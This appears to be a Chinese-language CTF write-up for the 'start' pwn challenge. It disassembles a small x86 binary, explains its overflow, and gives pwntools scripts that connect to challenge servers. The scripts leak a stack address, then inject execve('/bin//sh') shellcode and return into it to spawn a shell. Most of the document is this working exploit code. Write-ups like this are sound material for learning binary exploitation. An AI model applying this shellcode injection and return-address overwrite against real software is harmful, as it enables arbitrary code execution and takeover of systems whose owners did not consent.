题目如下:
public _start
_start proc near ; DATA XREF: LOAD:08048018↑o
push esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 3A465443h
push 20656874h
push 20747261h
push 74732073h
push 2774654Ch
mov ecx, esp ; addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write
xor ebx, ebx
mov dl, 3Ch ; '<'
mov al, 3
int 80h ; LINUX -
add esp, 14h
retn
_start endp ; sp-analysis failed
从头看,首先push esp、push exit的地址,再push 20个字符,然后调用write()函数输出0x14(也就是20个字符)。
然后给al赋值为3,即需要查看系统调用号3对应的功能,查资料可知为read()。
又因为dl赋值为0x3C(即60),所以可以输入长度≤60的payload。
分析后可得知,可以让返回地址先跳到mov bl, 1处,让其往下执行泄露处栈地址,可再执行一遍写入的功能,这时写shell,然后再让其返回到shell的位置即可。
泄露栈地址:
from pwn import *
elf = ELF('./start')
local = 1
if local == 1:
io = process('./start')
gdb.attach(io)
else:
io = remote('pwn.challenge.ctf.show',28101)
payload = 'a'*(0x14)+p32(0x804808B)
io.send(payload)
io.recvuntil('a'*0x14)
io.recv(4)
stack = u32(io.recv(4))
log.success("stack:"+hex(stack))
io.interactive()
找溢出点:
io.sendline(cyclic(60))

当前可控输入点的开头地址和栈地址相差0x1C,可控输入点是动态的,但是和栈的距离是不变的。写shell然后返回到可控输入点开头地址就可以得到flag。
from pwn import *
elf = ELF('./start')
local = 0
if local == 1:
io = process('./start')
gdb.attach(io)
else:
io = remote('node4.buuoj.cn',27722)
payload = 'a'*(0x14)+p32(0x804808B)
io.send(payload)
io.recvuntil('a'*0x14)
io.recv(4)
stack = u32(io.recv(4))
log.success("stack:"+hex(stack))
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+'a'*(44-28)+p32(stack-0x1c)
io.sendline(shellcode)
io.interactive()